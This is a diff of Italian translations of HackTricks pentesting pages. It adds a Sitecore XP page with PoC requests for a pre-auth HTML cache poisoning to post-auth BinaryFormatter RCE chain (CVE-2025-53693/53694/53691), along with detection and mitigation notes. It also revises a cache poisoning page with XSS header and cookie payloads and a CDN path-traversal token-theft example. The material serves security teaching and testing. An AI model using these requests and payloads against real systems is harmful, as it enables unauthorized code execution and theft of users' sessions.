+- **API keys**: Se trovi una API key esiste una guida che indica come usare API keys di diverse piattaforme: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- Google API keys: Se trovi una API key che inizia con **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puoi usare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per verificare a quali API la key può accedere.
+- **S3 Buckets**: Durante lo spidering verifica se qualche **subdomain** o qualche **link** è relativo a un **S3 bucket**. In tal caso, [**controlla** i **permessi** del bucket](buckets/index.html).
 
 ### Special findings
 
-**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
+**Mentre** esegui lo **spidering** e il **brute-forcing** potresti trovare **cose** **interessanti** che devi **segnalare**.
 
 **Interesting files**
 
 - Cerca **link** ad altri file all'interno dei file **CSS**.
-- [If you find a _**.git**_ file some information can be extracted](git.md)
-- Se trovi un _**.env**_ informazioni come api keys, password db e altre informazioni possono essere trovate.
-- Se trovi **API endpoints** dovresti anche testarle ([web-api-pentesting.md]). Queste non sono file, ma probabilmente "sembra" che lo siano.
-- **JS files**: Nella sezione spidering sono stati menzionati diversi tool che possono estrarre path dai file JS. Inoltre, sarebbe interessante **monitorare ogni file JS trovato**, poiché in alcune occasioni una modifica può indicare che è stata introdotta una potenziale vulnerabilità nel codice. Puoi usare ad esempio [**JSMon**](https://github.com/robre/jsmon)**.**
-- Dovresti anche verificare i file JS scoperti con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) per vedere se sono vulnerabili.
+- [Se trovi un file _**.git**_ alcune informazioni possono essere estratte](git.md)
+- Se trovi un file _**.env**_ possono essere trovate informazioni come api keys, password del db e altre informazioni.
+- Se trovi **API endpoints** dovresti [testarli anche tu](web-api-pentesting.md). Questi non sono file, ma probabilmente "assomiglieranno" ad essi.
+- **JS files**: Nella sezione spidering sono stati elencati diversi strumenti che possono estrarre path dai JS files. Inoltre, sarebbe interessante **monitorare ogni JS file trovato**, poiché in alcune occasioni un cambiamento può indicare che è stata introdotta una potenziale vulnerabilità nel codice. Puoi usare ad esempio [**JSMon**](https://github.com/robre/jsmon)**.**
+- Dovresti anche controllare i JS files scoperti con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) per verificare se sono vulnerabili.
 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
 - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
 - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
-- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-- In molte occasioni, avrai bisogno di **comprendere le regular expressions** usate. Questo sarà utile: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex)
-- Potresti anche **monitorare i file dove sono stati rilevati form**, poiché una modifica nei parametri o la comparsa di un nuovo form potrebbe indicare una nuova funzionalità potenzialmente vulnerabile.
+- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
+- In molte occasioni sarà necessario **capire le regular expressions** usate. Questo sarà utile: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex)
+- Potresti anche **monitorare i file dove sono stati rilevati form**, poiché un cambiamento nei parametri o la comparsa di un nuovo form può indicare una potenziale nuova funzionalità vulnerabile.
 
 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
 
@@ -312,28 +314,28 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
 
 **502 Proxy Error**
 
-Se una pagina **risponde** con quel **codice**, probabilmente è un **proxy** mal configurato. **Se invii una richiesta HTTP come: `GET https://google.com HTTP/1.1`** (con l'header Host e altri header comuni), il **proxy** tenterà di **accedere** a _**google.com**_ **e avrai trovato una** SSRF.
+Se una pagina **risponde** con quel **codice**, probabilmente è un **proxy mal configurato**. **Se invii una richiesta HTTP come: `GET https://google.com HTTP/1.1`** (con l'header Host e altri header comuni), il **proxy** cercherà di **accedere** a _**google.com**_ **e avrai trovato una** SSRF.
 
 **NTLM Authentication - Info disclosure**
 
-Se il server che richiede l'autenticazione è **Windows** o trovi una login che chiede le tue **credentials** (e chiede il **domain** **name**), puoi provocare una **information disclosure**.\
-**Invia** l'**header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e, a causa di come funziona l'**NTLM authentication**, il server risponderà con info interne (versione IIS, versione Windows...) nell'header "WWW-Authenticate".\
-Puoi **automatizzare** questo usando il **nmap plugin** "_http-ntlm-info.nse_".
+Se il server che richiede l'autenticazione è **Windows** o trovi una login che chiede le tue **credentials** (e richiede il **domain** **name**), puoi provocare una **information disclosure**.\
+**Invia** l'**header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e a causa di come funziona l'**NTLM authentication**, il server risponderà con info interne (versione di IIS, versione di Windows...) dentro l'header "WWW-Authenticate".\
+Puoi **automatizzare** questo usando il plugin di **nmap** "_http-ntlm-info.nse_".
 
 **HTTP Redirect (CTF)**
 
-È possibile **mettere contenuto** all'interno di una **Redirection**. Questo contenuto **non sarà mostrato all'utente** (poiché il browser eseguirà la redirezione) ma qualcosa potrebbe essere **nascosto** lì.
+È possibile **inserire contenuto** dentro una **Redirection**. Questo contenuto **non sarà mostrato all'utente** (poiché il browser eseguirà la redirezione) ma qualcosa potrebbe essere **nascosto** al suo interno.
 
 ### Web Vulnerabilities Checking
 
-Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:
+Ora che è stata fatta un'enumerazione completa dell'applicazione web è il momento di verificare molte possibili vulnerabilità. Puoi trovare la checklist qui:
 
 
 {{#ref}}
 ../../pentesting-web/web-vulnerabilities-methodology.md
 {{#endref}}
 
-Find more info about web vulns in:
+Trova più informazioni sulle web vulns in:
 
 - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
 - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
@@ -341,7 +343,7 @@ Find more info about web vulns in:
 
 ### Monitor Pages for changes
 
-Puoi usare strumenti come [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) per monitorare pagine e rilevare modifiche che potrebbero introdurre vulnerabilità.
+Puoi usare strumenti come [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) per monitorare pagine per modifiche che potrebbero introdurre vulnerabilità.
 
 ### HackTricks Automatic Commands
 ```

src/network-services-pentesting/pentesting-web/sitecore/README.md

@@ -0,0 +1,194 @@
+# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Questa pagina riassume una catena d'attacco pratica contro Sitecore XP 10.4.1 che passa da un pre‑auth XAML handler a HTML cache poisoning e, tramite un flusso UI autenticato, a RCE attraverso BinaryFormatter deserialization. Le tecniche si generalizzano a versioni/componenti Sitecore simili e forniscono primitive concrete per testare, rilevare e harden.
+
+- Prodotto interessato testato: Sitecore XP 10.4.1 rev. 011628
+- Corretto in: KB1003667, KB1003734 (giugno/luglio 2025)
+
+Vedi anche:
+
+{{#ref}}
+../../../pentesting-web/cache-deception/README.md
+{{#endref}}
+
+{{#ref}}
+../../../pentesting-web/deserialization/README.md
+{{#endref}}
+
+## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
+
+Il punto di ingresso è il pre‑auth XAML handler registrato in web.config:
+```xml
+<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
+```
+Accessibile tramite:
+```
+GET /-/xaml/Sitecore.Shell.Xaml.WebControl
+```
+L'albero dei controlli include AjaxScriptManager che, nelle richieste di evento, legge campi attacker‑controlled e invoca in modo riflessivo metodi sui controlli mirati:
+```csharp
+// AjaxScriptManager.OnPreRender
+string clientId = page.Request.Form["__SOURCE"];      // target control
+string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
+...
+Dispatch(clientId, text);
+
+// eventually → DispatchMethod(control, parameters)
+MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
+if (m != null) m.Invoke(this, e.Parameters);
+
+// Alternate branch for XML-based controls
+if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
+```
+Osservazione chiave: la pagina XAML include un'istanza di XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl deriva da Sitecore.Web.UI.WebControl (una classe Sitecore), che applica la lista consentita ReflectionUtil.Filter (Sitecore.*), sbloccando metodi su Sitecore WebControl.
+
+Metodo magico per il poisoning:
+```csharp
+// Sitecore.Web.UI.WebControl
+protected virtual void AddToCache(string cacheKey, string html) {
+HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
+if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
+}
+```
+Poiché possiamo indirizzare xmlcontrol:GlobalHeader e richiamare per nome i metodi di Sitecore.Web.UI.WebControl, otteniamo una primitiva pre-auth per la scrittura arbitraria di HtmlCache.
+
+### Richiesta PoC (CVE-2025-53693)
+```
+POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
+Host: target
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
+```
+Note:
+- __SOURCE è il clientID di xmlcontrol:GlobalHeader all'interno di Sitecore.Shell.Xaml.WebControl (comunemente stabile come ctl00_ctl00_ctl05_ctl03 poiché deriva da XAML statico).
+- Il formato di __PARAMETERS è Method("arg1","arg2").
+
+## Cosa avvelenare: costruzione della chiave della cache
+
+Costruzione tipica della chiave di HtmlCache usata dai controlli Sitecore:
+```csharp
+public virtual string GetCacheKey(){
+SiteContext site = Sitecore.Context.Site;
+if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
+string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
+if (key.Length > 0){
+string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
+if (this.VaryByData)        k += ResolveDataKeyPart();
+if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
+if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
+if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
+if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
+if (this.VaryByQueryString && site?.Request != null)
+k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
+if (this.ClearOnIndexUpdate) k += "_#index";
+return k;
+}
+}
+return string.Empty;
+}
+```
+Esempio di targeted poisoning per un sublayout noto:
+```
+__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
+```
+## Enumerazione degli elementi cacheabili e delle dimensioni “vary by”
+
+Se ItemService è (mis)esposto anonimamente, puoi enumerare i componenti cacheabili per ricavare chiavi esatte.
+
+Sonda rapida:
+```
+GET /sitecore/api/ssc/item
+// 404 Sitecore error body → exposed (anonymous)
+// 403 → blocked/auth required
+```
+Elenca gli elementi cacheable e i flags:
+```
+GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
+```
+Cerca campi come Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. I nomi dei dispositivi possono essere enumerati tramite:
+```
+GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
+```
+### Side‑channel enumeration under restricted identities (CVE-2025-53694)
+
+Anche quando ItemService impersona un account limitato (es., ServicesAPI) e restituisce un array Results vuoto, TotalCount può comunque riflettere pre‑ACL Solr hits. Puoi brute‑force item groups/ids con wildcards e osservare TotalCount convergere per mappare contenuti e dispositivi interni:
+```
+GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
+→ "TotalCount": 3
+GET /...term=%2B_templatename:Device;%2B_group:aa*
+→ "TotalCount": 2
+GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
+→ narrow to a specific item
+```
+## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
+
+Sink:
+```csharp
+// Sitecore.Convert
+byte[] b = Convert.FromBase64String(data);
+return new BinaryFormatter().Deserialize(new MemoryStream(b));
+```
+Raggiungibile tramite lo step di pipeline convertToRuntimeHtml ConvertWebControls, che cerca un elemento con id {iframeId}_inner e effettua la decodifica base64 e la deserializzazione, quindi inietta la stringa risultante nell'HTML:
+```csharp
+HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
+string text2   = inner?.GetAttributeValue("value", "");
+if (text2.Length > 0)
+htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
+```
+Trigger (autenticato, con privilegi Content Editor). La dialog FixHtml invoca convertToRuntimeHtml. End‑to‑end senza clic sull'interfaccia utente:
+```
+// 1) Start Content Editor
+GET /sitecore/shell/Applications/Content%20Editor.aspx
+
+// 2) Load malicious HTML into EditHtml session (XAML event)
+POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
+<html>
+<iframe id="test" src="poc" value="poc"></iframe>
+<test id="test_inner" value="BASE64_GADGET"></test>
+</html>
+
+// 3) Server returns a session handle (hdl) for FixHtml
+{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
+
+// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
+GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
+```
+Generazione del gadget: usare ysoserial.net / YSoNet con BinaryFormatter per produrre un payload base64 che restituisce una stringa. Il contenuto della stringa viene scritto nell'HTML da ConvertWebControls dopo l'esecuzione degli effetti collaterali della deserializzazione.
+
+
+{{#ref}}
+../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+{{#endref}}
+
+## Catena completa
+
+1) Un attaccante Pre‑auth avvelena HtmlCache con HTML arbitrario invocando riflessivamente WebControl.AddToCache tramite XAML AjaxScriptManager.
+2) L'HTML avvelenato serve JavaScript che spinge un utente Content Editor autenticato attraverso il flusso FixHtml.
+3) La pagina FixHtml innesca convertToRuntimeHtml → ConvertWebControls, che deserializza base64 controllato dall'attaccante tramite BinaryFormatter → RCE con l'identità dell'app pool di Sitecore.
+
+## Rilevamento
+
+- Pre‑auth XAML: richieste a `/-/xaml/Sitecore.Shell.Xaml.WebControl` con `__ISEVENT=1`, `__SOURCE` sospetto e `__PARAMETERS=AddToCache(...)`.
+- ItemService probing: picchi di query wildcard a `/sitecore/api/ssc`, `TotalCount` elevato con `Results` vuoti.
+- Tentativi di deserializzazione: `EditHtml.aspx` seguito da `FixHtml.aspx?hdl=...` e base64 insolitamente grande nei campi HTML.
+
+## Mitigazioni
+
+- Applicare le patch Sitecore KB1003667 e KB1003734; limitare/disabilitare gli handler XAML pre‑auth o aggiungere una validazione rigorosa; monitorare e rate‑limitare `/-/xaml/`.
+- Rimuovere/sostituire BinaryFormatter; limitare l'accesso a convertToRuntimeHtml o applicare una forte validazione lato server dei flussi di modifica HTML.
+- Restringere l'accesso a `/sitecore/api/ssc` al loopback o a ruoli autenticati; evitare pattern di impersonazione che causano side channel basati su `TotalCount`.
+- Applicare MFA/least privilege per gli utenti Content Editor; rivedere la CSP per ridurre l'impatto del JS steering derivante dalla cache poisoning.
+
+## References
+
+- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
+- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
+- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-web/cache-deception/README.md

@@ -1,115 +1,116 @@
-# Cache Poisoning e Cache Deception
+# Cache Poisoning and Cache Deception
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## La differenza
 
-> **Qual è la differenza tra web cache poisoning e web cache deception?**
+> **What is the difference between web cache poisoning and web cache deception?**
 >
-> - Nel **web cache poisoning**, l'attaccante costringe l'applicazione a memorizzare contenuti dannosi nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.
-> - Nella **web cache deception**, l'attaccante costringe l'applicazione a memorizzare contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante poi recupera questo contenuto dalla cache.
+> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
+> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
 
 ## Cache Poisoning
 
-Il cache poisoning mira a manipolare la cache lato client per costringere i client a caricare risorse che sono inaspettate, parziali o sotto il controllo di un attaccante. L'estensione dell'impatto dipende dalla popolarità della pagina interessata, poiché la risposta contaminata viene servita esclusivamente agli utenti che visitano la pagina durante il periodo di contaminazione della cache.
+Cache poisoning mira a manipolare la client-side cache per costringere i client a caricare risorse inaspettate, parziali o sotto il controllo di un attacker. L'entità dell'impatto dipende dalla popolarità della pagina interessata, poiché la response avvelenata viene servita esclusivamente agli utenti che visitano la pagina durante il periodo di contaminazione della cache.
 
 L'esecuzione di un attacco di cache poisoning comporta diversi passaggi:
 
-1. **Identificazione degli Input Non Chiave**: Questi sono parametri che, sebbene non necessari per una richiesta da memorizzare nella cache, possono alterare la risposta restituita dal server. Identificare questi input è cruciale poiché possono essere sfruttati per manipolare la cache.
-2. **Sfruttamento degli Input Non Chiave**: Dopo aver identificato gli input non chiave, il passo successivo consiste nel capire come abusare di questi parametri per modificare la risposta del server in un modo che avvantaggi l'attaccante.
-3. **Assicurarsi che la Risposta Contaminata sia Memorizzata nella Cache**: L'ultimo passo è garantire che la risposta manipolata sia memorizzata nella cache. In questo modo, qualsiasi utente che accede alla pagina interessata mentre la cache è contaminata riceverà la risposta contaminata.
+1. **Identification of Unkeyed Inputs**: sono parametri che, pur non essendo necessari affinché una request venga cached, possono modificare la response restituita dal server. Identificare questi input è cruciale poiché possono essere sfruttati per manipolare la cache.
+2. **Exploitation of the Unkeyed Inputs**: dopo aver identificato gli unkeyed inputs, il passo successivo è capire come abusare di questi parametri per modificare la response del server a vantaggio dell'attacker.
+3. **Ensuring the Poisoned Response is Cached**: l'ultimo passo è assicurarsi che la response manipolata venga memorizzata nella cache. In questo modo, qualsiasi utente che accede alla pagina interessata mentre la cache è avvelenata riceverà la response contaminata.
 
-### Scoperta: Controlla le intestazioni HTTP
+### Scoperta: Controlla gli header HTTP
 
-Di solito, quando una risposta è stata **memorizzata nella cache**, ci sarà un **intestazione che lo indica**, puoi controllare quali intestazioni a cui prestare attenzione in questo post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
+Di solito, quando una response è stata **stored in the cache** sarà presente un **header che lo indica**; puoi controllare quali header è meglio prendere in considerazione in questo post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
 
-### Scoperta: Codici di errore di caching
+### Scoperta: Codici di errore in cache
 
-Se pensi che la risposta venga memorizzata in una cache, potresti provare a **inviare richieste con un'intestazione errata**, a cui dovrebbe essere risposto con un **codice di stato 400**. Poi prova ad accedere alla richiesta normalmente e se la **risposta è un codice di stato 400**, sai che è vulnerabile (e potresti persino eseguire un DoS).
+Se pensi che la response venga memorizzata in una cache, potresti provare a **inviare richieste con un header malformato**, le quali dovrebbero rispondere con uno **status code 400**. Poi prova ad accedere la richiesta normalmente e se la **response è uno status code 400**, sai che è vulnerabile (e potresti anche eseguire un DoS).
+
+Puoi trovare più opzioni in:
 
-Puoi trovare ulteriori opzioni in:
 
 {{#ref}}
 cache-poisoning-to-dos.md
 {{#endref}}
 
-Tuttavia, nota che **a volte questi tipi di codici di stato non vengono memorizzati nella cache**, quindi questo test potrebbe non essere affidabile.
+Tieni però presente che **a volte questi tipi di status code non vengono cached**, quindi questo test potrebbe non essere affidabile.
 
-### Scoperta: Identificare e valutare gli input non chiave
+### Scoperta: Identificare e valutare unkeyed inputs
 
-Potresti usare [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) per **forzare parametri e intestazioni** che potrebbero **cambiare la risposta della pagina**. Ad esempio, una pagina potrebbe utilizzare l'intestazione `X-Forwarded-For` per indicare al client di caricare lo script da lì:
+Puoi usare [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) per **brute-force parameters and headers** che possono **modificare la response della pagina**. Per esempio, una pagina potrebbe usare l'header `X-Forwarded-For` per indicare al client di caricare lo script da lì:
 ```html
 <script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
 ```
-### Elicitare una risposta dannosa dal server back-end
+### Indurre una risposta dannosa dal server back-end
 
-Con il parametro/intestazione identificato, controlla come viene **sanitizzato** e **dove** viene **riflesso** o influisce sulla risposta dall'intestazione. Puoi abusarne in qualche modo (eseguire un XSS o caricare un codice JS controllato da te? eseguire un DoS?...)
+Una volta identificato il parametro/header verifica come viene **sanitizzato** e **dove** viene **riflesso** o come influisce sulla risposta dal header. Riesci ad abusarne comunque (perform an XSS or load a JS code controlled by you? perform a DoS?...)
 
-### Ottenere la risposta memorizzata nella cache
+### Mettere la risposta in cache
 
-Una volta che hai **identificato** la **pagina** che può essere abusata, quale **parametro**/**intestazione** utilizzare e **come** abusarne, devi ottenere la pagina memorizzata nella cache. A seconda della risorsa che stai cercando di memorizzare nella cache, questo potrebbe richiedere del tempo, potresti dover provare per diversi secondi.
+Una volta che hai **identificato** la **pagina** che può essere sfruttata, quale **parametro**/**header** usare e **come** **abusarne**, devi fare in modo che la pagina venga messa in cache. A seconda della risorsa che stai cercando di inserire nella cache questo può richiedere del tempo, potresti doverci provare per diversi secondi.
 
-L'intestazione **`X-Cache`** nella risposta potrebbe essere molto utile poiché potrebbe avere il valore **`miss`** quando la richiesta non è stata memorizzata nella cache e il valore **`hit`** quando è memorizzata.\
-L'intestazione **`Cache-Control`** è anche interessante per sapere se una risorsa viene memorizzata nella cache e quando sarà la prossima volta che la risorsa verrà memorizzata di nuovo: `Cache-Control: public, max-age=1800`
+L'header **`X-Cache`** nella risposta può essere molto utile poiché può assumere il valore **`miss`** quando la richiesta non è stata cacheata e il valore **`hit`** quando è in cache.\
+L'header **`Cache-Control`** è inoltre utile per sapere se una risorsa viene cacheata e quando sarà la prossima volta che la risorsa verrà messa in cache: `Cache-Control: public, max-age=1800`
 
-Un'altra intestazione interessante è **`Vary`**. Questa intestazione è spesso utilizzata per **indicare intestazioni aggiuntive** che vengono trattate come **parte della chiave della cache** anche se normalmente non sono chiave. Pertanto, se l'utente conosce il `User-Agent` della vittima che sta prendendo di mira, può avvelenare la cache per gli utenti che utilizzano quel specifico `User-Agent`.
+Un altro header interessante è **`Vary`**. Questo header è spesso usato per **indicare header aggiuntivi** che sono trattati come **parte della chiave della cache** anche se normalmente non sono usati come chiave. Pertanto, se l'attaccante conosce il `User-Agent` della vittima che sta prendendo di mira, può avvelenare la cache per gli utenti che usano quel specifico `User-Agent`.
 
-Un'altra intestazione relativa alla cache è **`Age`**. Definisce il tempo in secondi in cui l'oggetto è stato nella cache del proxy.
+Un altro header relativo alla cache è **`Age`**. Definisce il tempo in secondi che l'oggetto è rimasto nella cache del proxy.
 
-Quando memorizzi una richiesta nella cache, fai **attenzione alle intestazioni che usi** perché alcune di esse potrebbero essere **utilizzate inaspettatamente** come **chiave** e la **vittima dovrà utilizzare quella stessa intestazione**. Testa sempre un Cache Poisoning con **diversi browser** per controllare se funziona.
+Quando metti una richiesta in cache, fai **attenzione agli header che usi** perché alcuni di essi potrebbero essere **usati inaspettatamente** come **chiave** e la **vittima dovrà usare lo stesso header**. Testa sempre un Cache Poisoning con **browser diversi** per verificare se funziona.
 
 ## Esempi di sfruttamento
 
 ### Esempio più semplice
 
-Un'intestazione come `X-Forwarded-For` viene riflessa nella risposta non sanitizzata.\
-Puoi inviare un payload XSS di base e avvelenare la cache in modo che tutti coloro che accedono alla pagina saranno XSSati:
+Un header come `X-Forwarded-For` viene riflesso nella risposta senza sanitizzazione.\
+Puoi inviare un payload XSS di base e avvelenare la cache così chiunque acceda alla pagina verrà colpito da XSS:
 ```html
 GET /en?region=uk HTTP/1.1
 Host: innocent-website.com
 X-Forwarded-Host: a."><script>alert(1)</script>"
 ```
-_Note che questo avvelenerà una richiesta a `/en?region=uk` e non a `/en`_
+_Nota che questo avvelenerà una request a `/en?region=uk` e non a `/en`_
 
-### Avvelenamento della cache per DoS
+### Cache poisoning per DoS
 
 
 {{#ref}}
 cache-poisoning-to-dos.md
 {{#endref}}
 
-### Avvelenamento della cache tramite CDN
+### Cache poisoning attraverso CDNs
 
-In **[questo writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** viene spiegato il seguente semplice scenario:
+In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** viene spiegato il seguente semplice scenario:
 
-- La CDN memorizzerà nella cache qualsiasi cosa sotto `/share/`
-- La CDN NON decodificherà né normalizzerà `%2F..%2F`, pertanto, può essere utilizzata come **path traversal per accedere ad altre posizioni sensibili che verranno memorizzate nella cache** come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
-- Il server web DECODIFICHERÀ e NORMALIZZERÀ `%2F..%2F`, e risponderà con `/api/auth/session`, che **contiene il token di autenticazione**.
+- La CDN memorizzerà nella cache tutto ciò che si trova sotto `/share/`
+- La CDN NON decodificherà né normalizzerà `%2F..%2F`, pertanto può essere usato come **path traversal per accedere ad altre posizioni sensibili che verranno memorizzate nella cache** come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
+- Il web server DECODERÀ e normalizzerà `%2F..%2F`, e risponderà con `/api/auth/session`, che **contiene l'auth token**.
 
-### Utilizzare l'avvelenamento della cache web per sfruttare vulnerabilità nella gestione dei cookie
+### Using web cache poisoning to exploit cookie-handling vulnerabilities
 
-I cookie potrebbero anche essere riflessi nella risposta di una pagina. Se puoi abusarne per causare un XSS, ad esempio, potresti essere in grado di sfruttare XSS in diversi client che caricano la risposta della cache malevola.
+I cookie possono anche essere riflessi nella risposta di una pagina. Se riesci ad abusarne per causare una XSS, ad esempio, potresti essere in grado di sfruttare l'XSS in diversi client che caricano la risposta memorizzata nella cache malevola.
 ```html
 GET / HTTP/1.1
 Host: vulnerable.com
 Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
 ```
-Nota che se il cookie vulnerabile è molto utilizzato dagli utenti, le richieste regolari puliranno la cache.
+Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
 
 ### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
-Controlla:
+Check:
 
 
 {{#ref}}
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}
 
-### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Cache poisoning con path traversal per rubare API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
